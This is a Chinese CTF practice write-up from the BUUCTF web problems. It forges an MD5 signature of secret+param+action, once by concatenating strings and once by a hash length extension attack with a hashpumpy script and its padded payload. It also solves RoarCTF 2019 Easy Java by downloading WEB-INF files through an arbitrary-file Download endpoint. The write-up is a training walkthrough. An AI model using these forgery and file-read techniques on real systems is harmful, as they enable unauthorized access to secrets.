所以总体的思路就是,先把flag写入result.txt,然后在读result.txt
在进入这两条路之前,会有一个checkSign,这里会指向这样的判断
他会拿现在的action和param去生成一个签名,再与cookie里面的sign去比较
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
所以这个Sign我们是可以而且需要去伪造的
这里他是拼接了param和action
生成sign的路由是:
会发现他自己就带了一个scan,那么此时我再去拼接一个read,那么就可以同时满足上面的两条路了
这个时候他是拿flag.txtreadscan
去生成sign的
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
payload:
/geneSign?param=flag.txtread
得到sign
这时候就可以去伪造cookie进行ssrf了
这时候对应的我们的payload就要和我们刚刚生成的sign的模式一样,param=flag.txt,action=readscan,sign=刚刚生成的
成功读取到flag
这里还有第二个方式,hash长度拓展攻击
这里就不是在flag.txt后面接一个read了,是利用hash的这个漏洞来拼接这个read
首先生成一个flag.txt的sign
/geneSign?param=flag.txt
hash拓展脚本
import hashpumpy
# sacn需要拼接一个read
h = "a54fe303932462179e629661e8242c03"
sign = hashpumpy.hashpump(h,'scan','read',24)
print(sign)
得到如下
('6b4b0dfd4023edd12835febbe95dadbe', b'scan\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe0\\x00\\x00\\x00\\x00\\x00\\x00\\x00read'
这个\\x需要换成%
scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read
这时候我们拿这个去伪装cookie
成功拿到flag
[RoarCTF 2019]Easy Java
第一次做java站的题
一进去有一个登录框,下面有一个help
会跳转到这个页面
Download?filename=help.docx
但是返回是notfound
换post试了一下,竟然还真下载到了
那么看看能不能去找到WEB-INF/web.xml,找里面的路由
看里面果然有一个flag路由
找他的servlet
这个已经给了com.wm.ctf.FlagController,要去找找前面的目录,刚好最近在搞java开发,对比了一下自己的目录
试了几次,发现这个成功了
/Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class
以上是关于BUUCTF(web刷题记录一)的主要内容,如果未能解决你的问题,请参考以下文章